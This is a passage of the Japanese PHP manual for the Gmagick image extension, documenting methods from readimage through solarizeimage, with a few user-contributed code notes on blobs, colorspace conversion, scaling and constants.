パラメータ

filename

画像ファイル名。

返り値

成功した場合に Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


ファイルから画像を読み込む

  • ≪ Gmagick::read
  • Gmagick::readimageblob ≫
  • PHP Manual
  • Gmagick
  • ファイルから画像を読み込む

Gmagick::readimage

(PECL gmagick >= Unknown)

Gmagick::readimage — ファイルから画像を読み込む

説明

public Gmagick::readimage ( string $filename ) : Gmagick

ファイルから画像を読み込みます。

パラメータ

filename

画像ファイル名。

返り値

成功した場合に Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


バイナリ文字列から画像を読み込む

  • ≪ Gmagick::readimage
  • Gmagick::readimagefile ≫
  • PHP Manual
  • Gmagick
  • バイナリ文字列から画像を読み込む

Gmagick::readimageblob

(PECL gmagick >= Unknown)

Gmagick::readimageblob — バイナリ文字列から画像を読み込む

説明

public Gmagick::readimageblob ( string $imageContents , string $filename = ? ) : Gmagick

バイナリ文字列から画像を読み込みます。

パラメータ

imageContents

画像の内容。

filename

画像ファイル名。

返り値

成功した場合に Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

MPLong 28-Jun-2010 11:29
If you want to be able to do the opposite (output your gmagick object to a blob), then use getImageBlob() like this:

$outputstring = $im->getImageBlob();

This is apparently undocumented here, but since the entire library is ported/modeled on the imagemagick library, it makes sense that it uses the same name as imagemagick.


オープンしているファイルハンドルから画像を読み込む

  • ≪ Gmagick::readimageblob
  • Gmagick::reducenoiseimage ≫
  • PHP Manual
  • Gmagick
  • オープンしているファイルハンドルから画像を読み込む

Gmagick::readimagefile

(PECL gmagick >= Unknown)

Gmagick::readimagefile — オープンしているファイルハンドルから画像を読み込む

説明

public Gmagick::readimagefile ( resource $fp , string $filename = ? ) : Gmagick

オープンしているファイルハンドルから画像を読み込みます。

パラメータ

fp

ファイルディスクリプタ。

返り値

成功した場合に Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像の輪郭をなめらかにする

  • ≪ Gmagick::readimagefile
  • Gmagick::removeimage ≫
  • PHP Manual
  • Gmagick
  • 画像の輪郭をなめらかにする

Gmagick::reducenoiseimage

(PECL gmagick >= Unknown)

Gmagick::reducenoiseimage — 画像の輪郭をなめらかにする

説明

public Gmagick::reducenoiseimage ( float $radius ) : Gmagick

画像の輪郭をなめらかにします。縁の情報は保持します。 各ピクセルの内容を近傍の一番近い値で置き換えるというアルゴリズムです。 近傍は半径で定義します。radius に 0 を指定すると、 Gmagick::reduceNoiseImage() が適切な半径を自動的に設定します。

パラメータ

radius

近傍ピクセルの半径。

返り値

成功した場合に Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像リストから画像を削除する

  • ≪ Gmagick::reducenoiseimage
  • Gmagick::removeimageprofile ≫
  • PHP Manual
  • Gmagick
  • 画像リストから画像を削除する

Gmagick::removeimage

(PECL gmagick >= Unknown)

Gmagick::removeimage — 画像リストから画像を削除する

説明

public Gmagick::removeimage ( ) : Gmagick

画像リストから画像を削除します。

パラメータ

この関数にはパラメータはありません。

返り値

成功した場合に Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


指定した名前の画像プロファイルを削除して返す

  • ≪ Gmagick::removeimage
  • Gmagick::resampleimage ≫
  • PHP Manual
  • Gmagick
  • 指定した名前の画像プロファイルを削除して返す

Gmagick::removeimageprofile

(PECL gmagick >= Unknown)

Gmagick::removeimageprofile — 指定した名前の画像プロファイルを削除して返す

説明

public Gmagick::removeimageprofile ( string $name ) : string

指定した名前の画像プロファイルを削除して返します。

パラメータ

name

返すプロファイルの名前。ICC、IPTC あるいは generic。

返り値

指定した名前のプロファイルを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像を指定した解像度にリサンプリングする

  • ≪ Gmagick::removeimageprofile
  • Gmagick::resizeimage ≫
  • PHP Manual
  • Gmagick
  • 画像を指定した解像度にリサンプリングする

Gmagick::resampleimage

(PECL gmagick >= Unknown)

Gmagick::resampleimage — 画像を指定した解像度にリサンプリングする

説明

public Gmagick::resampleimage ( float $xResolution , float $yResolution , int $filter , float $blur ) : Gmagick

画像を指定した解像度にリサンプリングします。

パラメータ

xResolution

新しい画像の x 方向の解像度。

yResolution

新しい画像の y 方向の解像度。

filter

利用するフィルタ。

blur

blur 要素。> 1 はぼやけた状態、< 1 はシャープな状態を表します。

返り値

成功した場合に Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像のサイズを変更する

  • ≪ Gmagick::resampleimage
  • Gmagick::rollimage ≫
  • PHP Manual
  • Gmagick
  • 画像のサイズを変更する

Gmagick::resizeimage

(PECL gmagick >= Unknown)

Gmagick::resizeimage — 画像のサイズを変更する

説明

public Gmagick::resizeimage ( int $width , int $height , int $filter , float $blur , bool $fit = false ) : Gmagick

指定した大きさとフィルタで、画像のサイズを変更します。

パラメータ

width

画像の幅。

height

画像の高さ。

filter

利用するフィルタ。

blur

blur 要素。> 1 はぼやけた状態、< 1 はシャープな状態を表します。

返り値

成功した場合に Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像を補正する

  • ≪ Gmagick::resizeimage
  • Gmagick::rotateimage ≫
  • PHP Manual
  • Gmagick
  • 画像を補正する

Gmagick::rollimage

(PECL gmagick >= Unknown)

Gmagick::rollimage — 画像を補正する

説明

public Gmagick::rollimage ( int $x , int $y ) : Gmagick

x および y を指定して画像を補正します。

パラメータ

x

x オフセット。

y

y オフセット。

返り値

成功した場合に Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像を回転する

  • ≪ Gmagick::rollimage
  • Gmagick::scaleimage ≫
  • PHP Manual
  • Gmagick
  • 画像を回転する

Gmagick::rotateimage

(PECL gmagick >= Unknown)

Gmagick::rotateimage — 画像を回転する

説明

public Gmagick::rotateimage ( mixed $color , float $degrees ) : Gmagick

指定した角度だけ画像を回転させます。回転によって生じる空き領域は、 背景色で埋められます。

パラメータ

color

背景色。

degrees

画像を回転させる度数。

返り値

成功した場合に Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像のサイズを変更する

  • ≪ Gmagick::rotateimage
  • Gmagick::separateimagechannel ≫
  • PHP Manual
  • Gmagick
  • 画像のサイズを変更する

Gmagick::scaleimage

(PECL gmagick >= Unknown)

Gmagick::scaleimage — 画像のサイズを変更する

説明

public Gmagick::scaleimage ( int $width , int $height , bool $fit = false ) : Gmagick

画像のサイズを指定した大きさに変更します。 パラメータに 0 を指定すると、そのパラメータを自動的に計算します。

パラメータ

width

変更後の画像の幅。

height

変更後の画像の高さ。

返り値

成功した場合に Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

support at yourmob dot net 07-Dec-2019 02:52
CORRECTION

Replace

echo 'img src="data:image/jpeg:base64,'.base64_encode($image).'">';

With

echo '<img src="data:image/jpeg:base64,'.base64_encode($image).'">';
support at yourmob dot net 07-Dec-2019 02:32
Simple method to load an image from file, resize and display without writing to disk.
tested on jpg, gif and bmp
<?php
$image= new Gmagick( "yourimage.jpg");
$image->scaleimage(300,0);
echo 'img src="data:image/jpeg:base64,'.base64_encode($image).'">';
$image->destroy();
?>


画像からチャネルを分離する

  • ≪ Gmagick::scaleimage
  • Gmagick::setCompressionQuality ≫
  • PHP Manual
  • Gmagick
  • 画像からチャネルを分離する

Gmagick::separateimagechannel

(PECL gmagick >= Unknown)

Gmagick::separateimagechannel — 画像からチャネルを分離する

説明

public Gmagick::separateimagechannel ( int $channel ) : Gmagick

画像からチャネルを分離し、グレースケール画像を返します。 channel には、画像の各ピクセルの特定の色コンポーネントを指定します。

パラメータ

channel

どのチャネルを取り出すか。RedChannel、GreenChannel、BlueChannel、OpacityChannel、 CyanChannel、MagentaChannel、YellowChannel、BlackChannel。

返り値

成功した場合に Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


オブジェクトのデフォルトの圧縮クオリティを設定する

  • ≪ Gmagick::separateimagechannel
  • Gmagick::setfilename ≫
  • PHP Manual
  • Gmagick
  • オブジェクトのデフォルトの圧縮クオリティを設定する

Gmagick::setCompressionQuality

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Gmagick::setCompressionQuality — オブジェクトのデフォルトの圧縮クオリティを設定する

説明

Gmagick::setCompressionQuality ( int $quality = 75 ) : Gmagick

オブジェクトのデフォルトの圧縮クオリティを設定します。

パラメータ

quality

返り値

成功時には Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

例

例1 Gmagick::setCompressionQuality()

<?php
$gm = new Gmagick();
$gm->read("magick:rose");
$gm->setCompressionQuality(2);
?>

User Contributed Notes

There are no user contributed notes for this page.


画像を読み書きする前にファイル名を設定する

  • ≪ Gmagick::setCompressionQuality
  • Gmagick::setimagebackgroundcolor ≫
  • PHP Manual
  • Gmagick
  • 画像を読み書きする前にファイル名を設定する

Gmagick::setfilename

(PECL gmagick >= Unknown)

Gmagick::setfilename — 画像を読み書きする前にファイル名を設定する

説明

public Gmagick::setfilename ( string $filename ) : Gmagick

画像を読み書きする前にファイル名を設定します。

パラメータ

filename

画像ファイル名。

返り値

成功した場合に Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像の背景色を設定する

  • ≪ Gmagick::setfilename
  • Gmagick::setimageblueprimary ≫
  • PHP Manual
  • Gmagick
  • 画像の背景色を設定する

Gmagick::setimagebackgroundcolor

(PECL gmagick >= Unknown)

Gmagick::setimagebackgroundcolor — 画像の背景色を設定する

説明

public Gmagick::setimagebackgroundcolor ( GmagickPixel $color ) : Gmagick

画像の背景色を設定します。

パラメータ

color

画像の背景色。

返り値

成功した場合に Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


青が一番強い点を設定する

  • ≪ Gmagick::setimagebackgroundcolor
  • Gmagick::setimagebordercolor ≫
  • PHP Manual
  • Gmagick
  • 青が一番強い点を設定する

Gmagick::setimageblueprimary

(PECL gmagick >= Unknown)

Gmagick::setimageblueprimary — 青が一番強い点を設定する

説明

public Gmagick::setimageblueprimary ( float $x , float $y ) : Gmagick

青が一番強い点を設定します。

パラメータ

x

青が一番強い点の x 座標。

y

青が一番強い点の y 座標。

返り値

成功した場合に Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像の枠線の色を設定する

  • ≪ Gmagick::setimageblueprimary
  • Gmagick::setimagechanneldepth ≫
  • PHP Manual
  • Gmagick
  • 画像の枠線の色を設定する

Gmagick::setimagebordercolor

(PECL gmagick >= Unknown)

Gmagick::setimagebordercolor — 画像の枠線の色を設定する

説明

public Gmagick::setimagebordercolor ( GmagickPixel $color ) : Gmagick

画像の枠線の色を設定します。

パラメータ

color

画像の前景色。

返り値

成功した場合に Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


特定の画像チャネルの深度を設定する

  • ≪ Gmagick::setimagebordercolor
  • Gmagick::setimagecolorspace ≫
  • PHP Manual
  • Gmagick
  • 特定の画像チャネルの深度を設定する

Gmagick::setimagechanneldepth

(PECL gmagick >= Unknown)

Gmagick::setimagechanneldepth — 特定の画像チャネルの深度を設定する

説明

public Gmagick::setimagechanneldepth ( int $channel , int $depth ) : Gmagick

特定の画像チャネルの深度を設定します。

パラメータ

channel

抽出するチャネル。RedChannel、GreenChannel、BlueChannel、OpacityChannel、 CyanChannel、MagentaChannel、YellowChannel、BlackChannel。

depth

深度を表すビット数。

返り値

成功した場合に Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像の色空間を設定する

  • ≪ Gmagick::setimagechanneldepth
  • Gmagick::setimagecompose ≫
  • PHP Manual
  • Gmagick
  • 画像の色空間を設定する

Gmagick::setimagecolorspace

(PECL gmagick >= Unknown)

Gmagick::setimagecolorspace — 画像の色空間を設定する

説明

public Gmagick::setimagecolorspace ( int $colorspace ) : Gmagick

画像の色空間を設定します。

パラメータ

colorspace

画像の色空間。UndefinedColorspace、RGBColorspace、GRAYColorspace、TransparentColorspace、 OHTAColorspace、XYZColorspace、YCbCrColorspace、YCCColorspace、YIQColorspace、 YPbPrColorspace、YPbPrColorspace、YUVColorspace、CMYKColorspace、sRGBColorspace、HSLColorspace あるいは HWBColorspace。

返り値

成功した場合に Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

MPLong 28-Jun-2010 11:24
Convert CMYK to RGB:

<?php
$cs = $im->getimagecolorspace();
if ($cs == Gmagick::COLORSPACE_CMYK)
{
     $im->setImageColorspace(Gmagick::COLORSPACE_SRGB);
}
?>


画像の合成演算子を設定する

  • ≪ Gmagick::setimagecolorspace
  • Gmagick::setimagedelay ≫
  • PHP Manual
  • Gmagick
  • 画像の合成演算子を設定する

Gmagick::setimagecompose

(PECL gmagick >= Unknown)

Gmagick::setimagecompose — 画像の合成演算子を設定する

説明

public Gmagick::setimagecompose ( int $composite ) : Gmagick

画像の合成演算子を設定します。

パラメータ

composite

画像の合成演算子。

返り値

成功した場合に Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像の遅延を設定する

  • ≪ Gmagick::setimagecompose
  • Gmagick::setimagedepth ≫
  • PHP Manual
  • Gmagick
  • 画像の遅延を設定する

Gmagick::setimagedelay

(PECL gmagick >= Unknown)

Gmagick::setimagedelay — 画像の遅延を設定する

説明

public Gmagick::setimagedelay ( int $delay ) : Gmagick

画像の遅延を設定します。

パラメータ

delay

画像の遅延を 1/100 秒単位で指定します。

返り値

成功した場合に Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像の深度を設定する

  • ≪ Gmagick::setimagedelay
  • Gmagick::setimagedispose ≫
  • PHP Manual
  • Gmagick
  • 画像の深度を設定する

Gmagick::setimagedepth

(PECL gmagick >= Unknown)

Gmagick::setimagedepth — 画像の深度を設定する

説明

public Gmagick::setimagedepth ( int $depth ) : Gmagick

画像の深度を設定します。

パラメータ

depth

画像の深度 (ビット)。8、16 あるいは 32。

返り値

成功した場合に Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像の配置方法を設定する

  • ≪ Gmagick::setimagedepth
  • Gmagick::setimagefilename ≫
  • PHP Manual
  • Gmagick
  • 画像の配置方法を設定する

Gmagick::setimagedispose

(PECL gmagick >= Unknown)

Gmagick::setimagedispose — 画像の配置方法を設定する

説明

public Gmagick::setimagedispose ( int $disposeType ) : Gmagick

画像の配置方法を設定します。

パラメータ

disposeType

画像の配置方法。

返り値

成功した場合に Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


シーケンス内の特定の画像のファイル名を設定する

  • ≪ Gmagick::setimagedispose
  • Gmagick::setimageformat ≫
  • PHP Manual
  • Gmagick
  • シーケンス内の特定の画像のファイル名を設定する

Gmagick::setimagefilename

(PECL gmagick >= Unknown)

Gmagick::setimagefilename — シーケンス内の特定の画像のファイル名を設定する

説明

public Gmagick::setimagefilename ( string $filename ) : Gmagick

シーケンス内の特定の画像のファイル名を設定します。

パラメータ

filename

画像ファイル名。

返り値

成功した場合に Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


特定の画像のフォーマットを設定する

  • ≪ Gmagick::setimagefilename
  • Gmagick::setimagegamma ≫
  • PHP Manual
  • Gmagick
  • 特定の画像のフォーマットを設定する

Gmagick::setimageformat

(PECL gmagick >= Unknown)

Gmagick::setimageformat — 特定の画像のフォーマットを設定する

説明

public Gmagick::setimageformat ( string $imageFormat ) : Gmagick

シーケンス内の特定の画像のフォーマットを設定します。

パラメータ

imageFormat

画像のフォーマット。

返り値

成功した場合に Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像のガンマを設定する

  • ≪ Gmagick::setimageformat
  • Gmagick::setimagegreenprimary ≫
  • PHP Manual
  • Gmagick
  • 画像のガンマを設定する

Gmagick::setimagegamma

(PECL gmagick >= Unknown)

Gmagick::setimagegamma — 画像のガンマを設定する

説明

public Gmagick::setimagegamma ( float $gamma ) : Gmagick

画像のガンマを設定します。

パラメータ

gamma

画像のガンマ。

返り値

成功した場合に Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


緑が一番強い点を設定する

  • ≪ Gmagick::setimagegamma
  • Gmagick::setimageindex ≫
  • PHP Manual
  • Gmagick
  • 緑が一番強い点を設定する

Gmagick::setimagegreenprimary

(PECL gmagick >= Unknown)

Gmagick::setimagegreenprimary — 緑が一番強い点を設定する

説明

public Gmagick::setimagegreenprimary ( float $x , float $y ) : Gmagick

緑が一番強い点を設定します。

パラメータ

x

緑が一番強い点の x 座標。

y

緑が一番強い点の y 座標。

返り値

成功した場合に Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像リスト内でのイテレータの位置を、index パラメータで指定した場所に設定する

  • ≪ Gmagick::setimagegreenprimary
  • Gmagick::setimageinterlacescheme ≫
  • PHP Manual
  • Gmagick
  • 画像リスト内でのイテレータの位置を、index パラメータで指定した場所に設定する

Gmagick::setimageindex

(PECL gmagick >= Unknown)

Gmagick::setimageindex — 画像リスト内でのイテレータの位置を、index パラメータで指定した場所に設定する

説明

public Gmagick::setimageindex ( int $index ) : Gmagick

画像リスト内でのイテレータの位置を、index パラメータで指定した場所に設定します。

パラメータ

index

シーン番号。

返り値

成功した場合に Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像のインターレース手法を設定する

  • ≪ Gmagick::setimageindex
  • Gmagick::setimageiterations ≫
  • PHP Manual
  • Gmagick
  • 画像のインターレース手法を設定する

Gmagick::setimageinterlacescheme

(PECL gmagick >= Unknown)

Gmagick::setimageinterlacescheme — 画像のインターレース手法を設定する

説明

public Gmagick::setimageinterlacescheme ( int $interlace ) : Gmagick

画像のインターレース手法を設定します。

パラメータ

interlace

画像のインターレース手法。NoInterlace、LineInterlace、PlaneInterlace、PartitionInterlace。

返り値

成功した場合に Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

Isius 03-Jan-2013 03:24
Just in case you're having trouble finding the constants for this like I was. They are as-of-yet unlisted on the predefined constants page.

INTERLACE_UNDEFINED, UndefinedInterlace
INTERLACE_NO, NoInterlace
INTERLACE_LINE, LineInterlace
INTERLACE_PLANE, PlaneInterlace
INTERLACE_PARTITION, PartitionInterlace


画像の反復を設定する

  • ≪ Gmagick::setimageinterlacescheme
  • Gmagick::setimageprofile ≫
  • PHP Manual
  • Gmagick
  • 画像の反復を設定する

Gmagick::setimageiterations

(PECL gmagick >= Unknown)

Gmagick::setimageiterations — 画像の反復を設定する

説明

public Gmagick::setimageiterations ( int $iterations ) : Gmagick

画像の反復を設定します。

パラメータ

iterations

画像の遅延を 1/100 秒単位で指定します。

返り値

成功した場合に Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


指定した名前の画像プロファイルを Gmagick オブジェクトに追加する

  • ≪ Gmagick::setimageiterations
  • Gmagick::setimageredprimary ≫
  • PHP Manual
  • Gmagick
  • 指定した名前の画像プロファイルを Gmagick オブジェクトに追加する

Gmagick::setimageprofile

(PECL gmagick >= Unknown)

Gmagick::setimageprofile — 指定した名前の画像プロファイルを Gmagick オブジェクトに追加する

説明

public Gmagick::setimageprofile ( string $name , string $profile ) : Gmagick

指定した名前の画像プロファイルを Gmagick オブジェクトに追加します。 同じ名前のプロファイルが存在する場合は、それを置き換えます。 このメソッドは Gmagick::profileImage() メソッドとは異なり、 CMS カラープロファイルは適用しません。

パラメータ

name

追加あるいは削除するプロファイルの名前。ICC、IPTC あるいは generic。

profile

プロファイル。

返り値

成功した場合に Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


赤が一番強い点を設定する

  • ≪ Gmagick::setimageprofile
  • Gmagick::setimagerenderingintent ≫
  • PHP Manual
  • Gmagick
  • 赤が一番強い点を設定する

Gmagick::setimageredprimary

(PECL gmagick >= Unknown)

Gmagick::setimageredprimary — 赤が一番強い点を設定する

説明

public Gmagick::setimageredprimary ( float $x , float $y ) : Gmagick

赤が一番強い点を設定します。

パラメータ

x

赤が一番強い点の x 座標。

y

赤が一番強い点の y 座標。

返り値

成功した場合に Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像のレンダリング方向を設定する

  • ≪ Gmagick::setimageredprimary
  • Gmagick::setimageresolution ≫
  • PHP Manual
  • Gmagick
  • 画像のレンダリング方向を設定する

Gmagick::setimagerenderingintent

(PECL gmagick >= Unknown)

Gmagick::setimagerenderingintent — 画像のレンダリング方向を設定する

説明

public Gmagick::setimagerenderingintent ( int $rendering_intent ) : Gmagick

画像のレンダリング方向を設定します。

パラメータ

rendering_intent

画像のレンダリング方向。UndefinedIntent、SaturationIntent、PerceptualIntent、AbsoluteIntent あるいは RelativeIntent。

返り値

成功した場合に Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像の解像度を設定する

  • ≪ Gmagick::setimagerenderingintent
  • Gmagick::setimagescene ≫
  • PHP Manual
  • Gmagick
  • 画像の解像度を設定する

Gmagick::setimageresolution

(PECL gmagick >= Unknown)

Gmagick::setimageresolution — 画像の解像度を設定する

説明

public Gmagick::setimageresolution ( float $xResolution , float $yResolution ) : Gmagick

画像の解像度を設定します。

パラメータ

xResolution

x 方向の解像度。

yResolution

y 方向の解像度。

返り値

成功した場合に Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像のシーンを設定する

  • ≪ Gmagick::setimageresolution
  • Gmagick::setimagetype ≫
  • PHP Manual
  • Gmagick
  • 画像のシーンを設定する

Gmagick::setimagescene

(PECL gmagick >= Unknown)

Gmagick::setimagescene — 画像のシーンを設定する

説明

public Gmagick::setimagescene ( int $scene ) : Gmagick

画像のシーンを設定します。

パラメータ

scene

画像のシーン番号。

返り値

成功した場合に Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像の型を設定する

  • ≪ Gmagick::setimagescene
  • Gmagick::setimageunits ≫
  • PHP Manual
  • Gmagick
  • 画像の型を設定する

Gmagick::setimagetype

(PECL gmagick >= Unknown)

Gmagick::setimagetype — 画像の型を設定する

説明

public Gmagick::setimagetype ( int $imgType ) : Gmagick

画像の型を設定します。

パラメータ

imgType

画像の型。UndefinedType、BilevelType、GrayscaleType、 GrayscaleMatteType、PaletteType、PaletteMatteType、TrueColorType、 TrueColorMatteType、ColorSeparationType、ColorSeparationMatteType あるいは OptimizeType。

返り値

成功した場合に Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

Jrg Wagner 18-Sep-2012 11:52
The predefined constant values listed here are wrong. The correct values can be found at:
www.php.net/manual/de/gmagick.constants.php

They are:
Gmagick::IMGTYPE_UNDEFINED (integer)
Gmagick::IMGTYPE_BILEVEL (integer)
Gmagick::IMGTYPE_GRAYSCALE (integer)
Gmagick::IMGTYPE_GRAYSCALEMATTE (integer)
Gmagick::IMGTYPE_PALETTE (integer)
Gmagick::IMGTYPE_PALETTEMATTE (integer)
Gmagick::IMGTYPE_TRUECOLOR (integer)
Gmagick::IMGTYPE_TRUECOLORMATTE (integer)
Gmagick::IMGTYPE_COLORSEPARATION (integer)
Gmagick::IMGTYPE_COLORSEPARATIONMATTE (integer)
Gmagick::IMGTYPE_OPTIMIZE (integer)

The $image_Type parameter can be one of these constants:

imagick::IMGTYPE_UNDEFINED (integer)
imagick::IMGTYPE_BILEVEL (integer)
imagick::IMGTYPE_GRAYSCALE (integer)
imagick::IMGTYPE_GRAYSCALEMATTE (integer)
imagick::IMGTYPE_PALETTE (integer)
imagick::IMGTYPE_PALETTEMATTE (integer)
imagick::IMGTYPE_TRUECOLOR (integer)
imagick::IMGTYPE_TRUECOLORMATTE (integer)
imagick::IMGTYPE_COLORSEPARATION (integer)
imagick::IMGTYPE_COLORSEPARATIONMATTE (integer)
imagick::IMGTYPE_OPTIMIZE (integer)

See section "IMGTYPE constants" at http://www.php.net/manual/en/imagick.constants.php


画像の解像度の単位を設定する

  • ≪ Gmagick::setimagetype
  • Gmagick::setimagewhitepoint ≫
  • PHP Manual
  • Gmagick
  • 画像の解像度の単位を設定する

Gmagick::setimageunits

(PECL gmagick >= Unknown)

Gmagick::setimageunits — 画像の解像度の単位を設定する

説明

public Gmagick::setimageunits ( int $resolution ) : Gmagick

画像の解像度の単位を設定します。

パラメータ

resolution

画像の解像度の単位。Undefinedresolution、PixelsPerInchResolution あるいは PixelsPerCentimeterResolution。

返り値

成功した場合に Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像の色度が白い点を設定する

  • ≪ Gmagick::setimageunits
  • Gmagick::setsamplingfactors ≫
  • PHP Manual
  • Gmagick
  • 画像の色度が白い点を設定する

Gmagick::setimagewhitepoint

(PECL gmagick >= Unknown)

Gmagick::setimagewhitepoint — 画像の色度が白い点を設定する

説明

public Gmagick::setimagewhitepoint ( float $x , float $y ) : Gmagick

画像の色度が白い点を設定します。

パラメータ

x

白い点の x 座標。

y

白い点の y 座標。

返り値

成功した場合に Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像のサンプリング係数を設定する

  • ≪ Gmagick::setimagewhitepoint
  • Gmagick::setsize ≫
  • PHP Manual
  • Gmagick
  • 画像のサンプリング係数を設定する

Gmagick::setsamplingfactors

(PECL gmagick >= Unknown)

Gmagick::setsamplingfactors — 画像のサンプリング係数を設定する

説明

public Gmagick::setsamplingfactors ( array $factors ) : Gmagick

画像のサンプリング係数を設定します。

パラメータ

factors

各色コンポーネントのサンプリング係数を表す double 型の値の配列 (RGB 順)。

返り値

成功した場合に Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


Gmagick オブジェクトのサイズを設定する

  • ≪ Gmagick::setsamplingfactors
  • Gmagick::shearimage ≫
  • PHP Manual
  • Gmagick
  • Gmagick オブジェクトのサイズを設定する

Gmagick::setsize

(PECL gmagick >= Unknown)

Gmagick::setsize — Gmagick オブジェクトのサイズを設定する

説明

public Gmagick::setsize ( int $columns , int $rows ) : Gmagick

Gmagick オブジェクトのサイズを設定します。 RGB や GRAY、CMYK といった生の画像フォーマットを読み込む前に設定します。

パラメータ

columns

ピクセル数で指定する幅。

rows

ピクセル数で指定する高さ。

返り値

成功した場合に Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


平行四辺形を作成する

  • ≪ Gmagick::setsize
  • Gmagick::solarizeimage ≫
  • PHP Manual
  • Gmagick
  • 平行四辺形を作成する

Gmagick::shearimage

(PECL gmagick >= Unknown)

Gmagick::shearimage — 平行四辺形を作成する

説明

public Gmagick::shearimage ( mixed $color , float $xShear , float $yShear ) : Gmagick

画像を X 軸方向あるいは Y 軸方向に押しつぶし、平行四辺形を作成します。 X 方向に押しつぶすと X 軸方向にスライドし、Y 方向に押しつぶすと Y 軸方向にスライドします。押しつぶす量は、角度で指定します。 X 方向に押しつぶす場合、x_shear は Y 軸からの相対角度となります。 同様に、Y 方向に押しつぶす場合は y_shear が X 軸からの相対角度となります。 変形によってできた空白部分は、背景色で埋められます。

パラメータ

color

背景色。

xShear

x 軸方向に押しつぶす角度。

yShear

y 軸方向に押しつぶす角度。

返り値

成功した場合に Gmagick オブジェクトを返します。

エラー / 例外

エラー時に GmagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像にソラリゼーション効果を適用する

  • ≪ Gmagick::shearimage
  • Gmagick::spreadimage ≫
  • PHP Manual
  • Gmagick
  • 画像にソラリゼーション効果を適用する

Gmagick::solarizeimage

(PECL gmagick >= Unknown)

Gmagick::solarizeimage — 画像にソラリゼーション効果を適用する

説明

public Gmagick::solarizeimage ( int $threshold ) : Gmagick

画像に特殊効果を施し、 印画紙の特定の箇所の露光時間を長くしたような画像になります。 threshold は 0 から QuantumRange までの値で、 ソラリゼーションの効き具合を指定します。

パラメータ

threshold

ソラリゼーションの効き具合を指定します。

